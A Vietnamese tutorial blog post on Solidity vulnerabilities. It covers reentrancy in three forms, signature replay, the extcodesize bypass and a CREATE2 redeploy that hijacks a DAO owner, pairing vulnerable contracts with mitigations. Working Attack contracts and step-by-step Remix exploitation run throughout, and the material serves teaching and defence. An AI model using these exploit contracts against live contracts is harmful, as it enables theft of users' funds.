Muôn vàn lỗ hổng với Solidity (Phần 1)
1. Reentrancy
Single-Function Reentrancy
Chúng ta cùng xem qua hợp đồng thông minh dưới đây, cho phép người dùng gửi và rút ETH.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vulnerable {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
// chuyển tiền cho người dùng
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
// cập nhật lại số dư
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
Ở hàm withdraw
, sau khi chuyển tiền cho người dùng xong thì logic mới cập nhật lại số dư => Đây là kẽ hở chí mạng khiến hợp đồng có thể bị tấn công.
Chúng ta sẽ viết 1 hợp đồng để khai thác lỗ hổng đó
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Vulnerable.sol";
contract Attack {
Vulnerable vulnerable;
address owner;
uint256 constant public AMOUNT = 1 ether;
constructor(address vulnerableAddress) {
vulnerable = Vulnerable(vulnerableAddress);
owner = msg.sender;
}
// Fallback function
fallback() external payable {
if (address(vulnerable).balance >= AMOUNT) {
vulnerable.withdraw();
}
}
function attack() external payable {
require(msg.value >= AMOUNT);
// Gửi 1 ít ETH vào contract Vulnerable để có số dư > 0
vulnerable.deposit{value: AMOUNT}();
// Gọi hàm rút tiền, kích hoạt 1 vòng tuần hoàn nhằm rút cạn ETH
vulnerable.withdraw();
}
function withdrawMoney() external {
require(msg.sender == owner);
uint256 amount = address(this).balance;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
Quá trình tấn công sẽ diễn ra như sau:
- Hacker gọi hàm
attack
(gửi kèm 1 ETH) - Hợp đồng Attack gọi hàm
deposit
và gửi kèm luôn 1 ETH => số dư của Attack contract = 1 - Gọi hàm
withdraw
rút tiền, Vulnerable sẽ gửi lại tiền cho Attack - Fallback function của Attack được kích hoạt khi nhận được tiền từ Vulnerable
- Do số dư chưa được cập nhật lại nên điều kiện trong
if
vẫn thỏa mãn, gọiwithdraw
và rút tiền về. - Cứ như vậy, Vulnerable sẽ cạn sạch tiền trong phút chốc 🤑
Chạy thử với Remix
- Deploy Vulnerable và Attack
- Gửi tiền vào Vulnerable bằng các địa chỉ đóng vai người dùng
Số dư của hợp đồng là tới 3 ETH
- Hacker gọi hàm
attack
(gửi kèm 1 ETH)
- Attack rút hết tiền của Vulnerable (4 ETH)
- Hacker rút tiền về ví bằng các gọi
withdrawMoney
Cross-Function Reentrancy
Là lỗ hổng Reentrancy có liên quan tới nhiều hàm trong 1 contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vulnerable2 {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function transfer(address to, uint amount) public {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}
function withdraw() public {
uint amount = balances[msg.sender];
(bool success, ) = msg.sender.call{value: amount}("");
require(success);
balances[msg.sender] = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Vulnerable2.sol";
contract Attack {
Vulnerable2 vulnerable;
address owner;
uint256 constant public AMOUNT = 1 ether;
constructor(address vulnerableAddress) {
vulnerable = Vulnerable2(vulnerableAddress);
owner = msg.sender;
}
// Fallback function
fallback() external payable {
if (address(vulnerable).balance >= AMOUNT) {
vulnerable.transfer(owner, AMOUNT);
}
}
function attack() external payable {
require(msg.value >= AMOUNT);
// Gửi 1 ít ETH vào contract Vulnerable để có số dư > 0
vulnerable.deposit{value: AMOUNT}();
// Gọi hàm rút tiền, kích hoạt 1 vòng tuần hoàn nhằm rút cạn ETH
vulnerable.withdraw();
}
function withdrawMoney() external {
require(msg.sender == owner);
uint256 amount = address(this).balance;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
Chạy thử trên Remix
- Deploy 2 contract
- Người dùng
deposit
vào Vulnerable2
Số dư hiện tại là 4 ETH
- Hacker gọi hàm
attack
và gửi kèm 1 ETH
Vulnerable2 vẫn có số dư là 4 ETH. Tuy nhiên, balances
địa chỉ của hacker là 1 ETH và contract Attack cũng có 1 ETH => ăn gian được 1 ETH
- Tiếp tục gọi Attack, bây giờ tổng đã có 4 ETH.
- Cứ tiếp tục như vậy 2 lần nữa, số dư của của hacker trong Vulnerable2 đã là 4 ETH. Giờ việc cần làm cuối cùng là rút hết tiền về.
Trong thực tế chúng ta sẽ viết 1 script bằng JS, chạy và vét sạch tiền đầy ví thay vì thao tác thủ công như trên =)
Lưu ý: Trông qua cách này có vẻ cồng kềnh hơn ví dụ trước đó trong việc khai thác. Tuy nhiên ở những hợp đồng có logic phức tạp hơn, không phải lúc nào cũng ngon ăn như vậy mà phải khai thác mối liên hệ giữa các hàm với nhau. Vụ DAO hack nổi tiếng năm 2016 chính là kiểu tấn công Cross-Function Reentrancy.
Cross-contract Reentrancy
Cross-contract Reentrancy là một hình thức phức tạp hơn khi nó liên quan đến nhiều hợp đồng cùng sử dụng các biến trạng thái, nhưng không phải hợp đồng nào cũng cập nhật và xử lý các biến đó một cách an toàn.
Chúng ta cùng xem qua 2 hợp đồng sau đây:
- DevToken là hợp đồng token chuẩn ERC-20
- VulnerableWallet là hợp đồng nơi nhận ETH từ người dùng gửi vào và
mint
ra lượng DevToken tương ứng cho họ. Khi người dùng rút ETH ra thì đốt token đi.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DevToken {
address owner;
mapping (address => uint256) public balances;
uint totalSupply;
// VulnerableWallet sẽ là owner
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function transfer(address _to, uint256 _value)
external
returns (bool success)
{
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function mint(address _to, uint256 _value)
external
onlyOwner
returns (bool success)
{
balances[_to] += _value;
totalSupply += _value;
return true;
}
function burnFrom(address _from)
external
onlyOwner
returns (bool success)
{
uint256 amountToBurn = balances[_from];
balances[_from] -= amountToBurn;
totalSupply -= amountToBurn;
return true;
}
function balanceOf(address account) public view returns(uint256) {
return balances[account];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./DevToken.sol";
contract VulnerableWallet {
address owner;
DevToken devToken;
constructor() {
owner = msg.sender;
}
function setDevToken(address devTokenAddress) external {
require(msg.sender == owner);
devToken = DevToken(devTokenAddress);
}
function deposit() external payable {
bool success = devToken.mint(msg.sender, msg.value);
require(success, "Failed to mint token");
}
// Người dùng rút ETH và Devtoken của người dùng sẽ bị đốt
function withdrawAll() external {
uint256 balance = devToken.balanceOf(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
// Gửi ETH cho người dùng trước khi đốt token => Đây chính là vấn đề
success = devToken.burnFrom(msg.sender);
require(success, "Failed to burn token");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
Thực hiện khai thác với hợp đồng sau
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./DevToken.sol";
import "./VulnerableWallet.sol";
contract Attacker1 {
// địa chỉ khác của của hacker để nhận token
address private attacker2;
DevToken devToken;
VulnerableWallet vulnerableWallet;
constructor(address devTokenAddress, address vulnerableWalletAddress) {
attacker2 = msg.sender;
devToken = DevToken(devTokenAddress);
vulnerableWallet = VulnerableWallet(vulnerableWalletAddress);
}
// Khi ETH từ VulnerableWallet gửi về, khi logic burn token chưa được thực thi, chuyển ngay token sang địa chỉ khác => double spending
receive() external payable {
devToken.transfer(
attacker2, devToken.balanceOf(address(this))
);
}
// hacker gọi hàm và gửi kèm 1 ETH
function attack() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
vulnerableWallet.deposit{value: 1 ether}();
vulnerableWallet.withdrawAll();
}
function withdrawFunds() external {
vulnerableWallet.withdrawAll();
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
Chạy thử trên Remix
- Deploy 3 contract
-
Deploy VulnerableWallet contract
-
Deploy DevToken contract (với địa chỉ VulnerableWallet là owner)
-
Gọi hàm
setDevToken
trong VulnerableWallet để gán địa chỉ devToken -
Deploy Attack contract
-
Gọi hàm
attack
(gửi kèm 1 ETH) -
Kiểm tra thành quả
Contract Attack có 1 ETH và địa chỉ hacker có 1 DevToken => bỏ 1 được 2.
Cách phòng chống ReEntrancy
- Khi lập trình cần chú ý thay đổi các biến trạng thái trước khi thực hiện các tương tác khác như gửi tiền, gọi đến các hàm của hợp đồng khác ...
- Dùng thư viện ReentrancyGuard của openzepplin
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/ReentrancyGuard.sol)
pragma solidity ^0.8.20;
abstract contract ReentrancyGuard {
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = 2;
uint256 private _status;
error ReentrancyGuardReentrantCall();
constructor() {
_status = NOT_ENTERED;
}
/*
Ngăn chặn việc gọi đệ quy bằng việc thiết lập 1 biến cờ _status.
- Khi hàm đang được thực thi (cờ ENTERED sẽ được gán, ví dụ hàm attack gọi withdraw). fallback function của Attack contract gọi withdraw 1 lần nữa sẽ bị revert.
*/
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() private {
if (_status == ENTERED) {
revert ReentrancyGuardReentrantCall();
}
_status = ENTERED;
}
function _nonReentrantAfter() private {
_status = NOT_ENTERED;
}
function _reentrancyGuardEntered() internal view returns (bool) {
return _status == ENTERED;
}
}
2. Signature Replay
Chữ ký (Signature) là một công cụ mật mã giúp xác minh định danh của người dùng. Với Ethereum, chữ ký số có thể dùng để ủy quyền giao dịch, giúp người dùng tiết kiệm gas (meta transaction).
Replay Attacks
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
// Hợp đồng đa chữ ký
contract MultiSigWallet {
using ECDSA for bytes32;
address[2] public owners;
// Khởi tạo với 2 địa chỉ owners
constructor(address[2] memory _owners) payable {
owners = _owners;
}
// nhận ETH gửi vào
function deposit() external payable {}
// Chuyển ETH đi, cần có 2 chữ ký hợp lệ từ 2 owner
function transfer(address _to, uint _amount, bytes[2] memory _sigs) external {
bytes32 txHash = getTxHash(_to, _amount);
require(_checkSigs(_sigs, txHash), "invalid sig");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
// tính toán message: Đây là thông điệp mà 2 owner cần ký khi muốn gửi tiền
function getTxHash(address _to, uint _amount) public pure returns (bytes32) {
return keccak256(abi.encodePacked(_to, _amount));
}
// Kiểm tra chữ ký với thư viện ECDSA
function _checkSigs(
bytes[2] memory _sigs,
bytes32 _txHash
) private view returns (bool) {
bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();
for (uint i = 0; i < _sigs.length; i++) {
address signer = ethSignedHash.recover(_sigs[i]);
bool valid = signer == owners[i];
if (!valid) {
return false;
}
}
return true;
}
}
Thông điệp của chữ ký đang được tạo nên từ to
và amount
, hai thông tin có thể trùng lặp. Lợi dụng điều đó, kẻ xấu có thể sử dụng lại (replay) chữ ký của owner để chuộc lợi.
Chạy thử trên Remix
- Deploy và gửi vào 3 ETH
- Tính toán txHash
Bây giờ, muốn gửi 1 ETH cho địa chỉ 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
thì ta cần tính toán lấy txHash để ký.
- Lần lượt tạo chữ ký từ các owner
Ký bởi owner1
Ký bởi owner2
- Gọi hàm
transfer
=> Thành công, số dư của hợp đồng giảm 1 ETH và số dư tài khoản nhận tăng thêm
- Tái sử dụng chữ ký
Chủ tài khoản 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
lên etherScan lấy giá trị các tham số trong giao dịch vừa diễn ra. Gọi hàm transfer
, giá trị chữ ký vẫn được xem là hợp lệ nên giao dịch thực thi không hề gặp bất cứ khó khăn gì => khai thác thành công
Vá lỗi
Để vá lỗi, chúng ta sẽ thêm trường nonce
khi tính toán thông điệp của chữ ký, với nonce
là một số nguyên dương bất kỳ. Thêm vào đó, mapping executed
sẽ quản lý trạng thái của chữ ký, xem nó đã từng được xác minh và thực thi hay chưa ?
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
contract MultiSigWallet {
using ECDSA for bytes32;
address[2] public owners;
mapping(bytes32 => bool) public executed;
constructor(address[2] memory _owners) payable {
owners = _owners;
}
function deposit() external payable {}
function transfer(
address _to,
uint _amount,
uint _nonce,
bytes[2] memory _sigs
) external {
bytes32 txHash = getTxHash(_to, _amount, _nonce);
require(!executed[txHash], "tx executed");
require(_checkSigs(_sigs, txHash), "invalid sig");
executed[txHash] = true;
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
function getTxHash(
address _to,
uint _amount,
uint _nonce
) public view returns (bytes32) {
return keccak256(abi.encodePacked(address(this), _to, _amount, _nonce));
}
function _checkSigs(
bytes[2] memory _sigs,
bytes32 _txHash
) private view returns (bool) {
bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();
for (uint i = 0; i < _sigs.length; i++) {
address signer = ethSignedHash.recover(_sigs[i]);
bool valid = signer == owners[i];
if (!valid) {
return false;
}
}
return true;
}
}
Cross-chain Replay Attacks
Hiện nay, một Dapp không chỉ chạy trên 1 nền tảng mà còn mở rộng sang các nền tảng blockchain khác. Số lượng blockchain tương thích với EVM hiện lên tới hàng chục, thậm chí hàng trăm.
=> Do đó, với nonce
vẫn là chưa đủ. Kẻ xấu hoàn toàn có thể lấy giá trị chữ ký ở blockchain này để "replay" ở một blockchain khác.
Giải pháp ở đây là chúng ta sẽ thêm phần chainId vào để kiểm tra
function getTxHash(
address _to,
uint _amount,
uint _nonce,
uint _chainId
) public view returns (bytes32) {
require(_chainId == block.chainid, "Invalid chain ID");
return keccak256(abi.encodePacked(address(this), _to, _amount, _nonce, _chainId));
}
3. Contract size
Như chúng ta đã biết, trên Ethereum có 2 loại địa chỉ:
- Địa chỉ người dùng (EOA): Có codesize bằng 0.
- Địa chỉ hợp đồng: Codesize khác 0.
Tuy nhiên, điều đó có thật sự chính xác và đầy đủ không ? Chúng ta cùng xem qua ví dụ dưới đây.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Target {
// Kiểm tra codesize của địa chỉ có lớn hơn 0 không. Nếu có thì trả về true
// Ngược lại, nếu là địa chỉ người dùng thì trả về false
function isContract(address account) public view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
bool public pwned = false;
// Hàm này chỉ có thể được gọi từ địa chỉ người dùng
function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}
Tuy nhiên, chúng ta thử gọi từ constructor
xem sao.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "Target.sol";
contract Hack {
bool public isContract;
address public addr;
// khi contract đang được khởi tạo: codesize = 0
constructor(address _target) {
isContract = Target(_target).isContract(address(this));
addr = address(this);
Target(_target).protected();
}
}
Biến pwned
đã được thay đổi thành true
4. Deploy các hợp đồng khác nhau tại cùng một địa chỉ
Chúng ta có 2 hợp đồng như sau:
contract Proposal {
event Log(string message);
// Hàm này rất cơ bản, chỉ đơn giản emit ra event Log
function executeProposal() external {
emit Log("Excuted code approved by DAO");
}
// gọi selfdestruct để hủy hợp đồng
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract DAO {
struct Proposal {
address target;
bool approved;
bool executed;
}
address public owner;
Proposal[] public proposals;
constructor() {
owner = msg.sender;
}
// approve cho contract Proposal
function approve(address target) external {
require(msg.sender == owner, "not authorized");
proposals.push(Proposal({target: target, approved: true, executed: false}));
}
function execute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, "not approved");
require(!proposal.executed, "executed");
proposal.executed = true;
// Gọi hàm executeProposal() của hợp đồng Proposal bằng lệnh delegatecall
// Chúng ta sẽ thấy sẽ nguy hiểm của việc gọi delegatecall ở phần sau
(bool ok, ) = proposal.target.delegatecall(
abi.encodeWithSignature("executeProposal()")
);
require(ok, "delegatecall failed");
}
}
Để khai thác DAO, chúng ta sẽ sử dụng bộ ba hợp đồng sau đây:
Ý tưởng chính trong cách khai thác sẽ là:
- Contract Proposal được approve trên DAO
- Deploy đè sao cho Attack có cùng địa chỉ với Proposal
- Hacker thực hiện gọi hàm
execute
trên DAO. gọi delegatecall tớiexecuteProposal
Attack và "dính chưởng" khi biến owner bị thay đổi thành địa chỉ của hacker.
Mọi người có thể đọc lại một chút khái niệm về hàm create và delegatecall.
contract Deployer {
event Log(address addr);
function deployProposal() external {
address addr = address(new Proposal());
emit Log(addr);
}
function deployAttack() external {
address addr = address(new Attack());
emit Log(addr);
}
// hủy hợp đồng
function kill() external {
selfdestruct(payable(address(0)));
}
}
contract DeployerDeployer {
event Log(address addr);
function deploy() external {
// salt cố định
bytes32 salt = keccak256(abi.encode(uint(123)));
// deploy với create2. Địa chỉ Deployer được deploy là không đổi sau mỗi lần gọi.
address addr = address(new Deployer{salt: salt}());
emit Log(addr);
}
}
contract Attack {
event Log(string message);
address public owner;
// Nếu Attack được approved trên DAO, khi gọi hacker hàm execute sẽ có thể thay đổi địa chỉ owner trên DAO thành địa chỉ của mình
function executeProposal() external {
emit Log("Excuted code not approved by DAO :)");
owner = msg.sender;
}
}
Chạy thử trên Remix
- Deploy DAO bởi địa chỉ người dùng.
địa chỉ owner
là 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
- Hacker deploy
DeployerDeployer
địa chỉ hacker: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
- Hacker gọi hàm
deploy
trongDeployerDeployer
địa chỉ của Deployer
: 0x188D55Bb6990c8e6Ff843535B054846BeA6b264B
- Hacker gọi
Deployer.deployProposal()
địa chỉ của Proposal
: 0x343094AFe092a3A94d52924Dd903B9F1589eAE49
- Logic của
Proposal
không có vấn đề gì nên Alice thực hiện approve.
- Hacker gọi
Proposal.emergencyStop()
vàDeployer.kil()
để hủy 2 hợp đồng.
- Hacker deploy lại Deployer bằng cách gọi
DeployerDeployer.deploy()
địa chỉ Deployer vẫn như cũ là 0x188D55Bb6990c8e6Ff843535B054846BeA6b264B
- Hacker gọi
Deployer.deployAttack()
địa chỉ Attack trùng với địa chỉ Proposal đã hủy: 0x343094AFe092a3A94d52924Dd903B9F1589eAE49
Tại sao lại như thế ? Như chúng ta đã biết, địa chỉ hợp đồng mới được tạo ra với opcode create
phụ thuộc vào địa chỉ deploy và số nonce.
- Deployer có địa chỉ không đổi
- số nonce của cũng như nhau (hủy Deployer và deploy lại để có số nonce như nhau)
- Hacker gọi
DAO.execute(0)
- Kiểm tra biến
owner
trên DAO
owner
đã biến thành địa chỉ của hacker
Tài liệu tham khảo
All rights reserved